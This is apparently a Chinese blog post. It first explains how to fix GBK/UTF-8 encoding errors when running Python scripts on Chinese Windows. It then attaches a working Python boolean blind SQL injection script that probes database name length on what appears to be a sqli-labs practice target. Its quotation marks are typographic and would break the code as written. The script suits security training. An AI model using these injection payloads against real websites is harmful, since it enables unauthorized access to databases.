在windows环境下运行python脚本出现中文错误的解决办法:
*原因:中文windows默认的输出编码为gbk,与脚本中定义的UTF-8不一样,所以出现了解码失败的情况。
方法一:先把中文解码为utf-8然后再转化为gbk输出。
例如:# -*- coding:utf-8 -*- a="你好" print(a.decode('utf-8').encode('gbk'))
方法二:在创建一个新文件夹,把脚本放入里面,打开cmd,输入python 脚本名.py就不会出现编码错误。
这里附上一个python盲注脚本(只有盲注数据库长度,后面的盲注也是类似的。):
`#!/usr/bin/python3
# -*- coding:utf-8 -*-
import requests
def ascii_str():#生成库名表名字符所在的字符列表字典
str_list=[]
for i in range(33,127):#所有可显示字符
str_list.append(chr(i))
print(‘可显示字符:%s’%str_list)
return str_list#返回字符列表
def db_length(url,str):
print(“[-]开始测试数据库名长度…….”)
num=1
while True:
db_payload=url+”‘ and (length(database())=%d)–+”%num
r=requests.get(db_payload)
if str in r.text:
db_length=num
print(“[+]数据库长度:%d\n”%db_length)
break
else:
num += 1
if __name__ == '__main__':
url=”http://localhost1/Less-5/?id=1"#目标url
str=”You are in”#布尔型盲注的true&false的判断因素
db_length(url,str)#程序入口`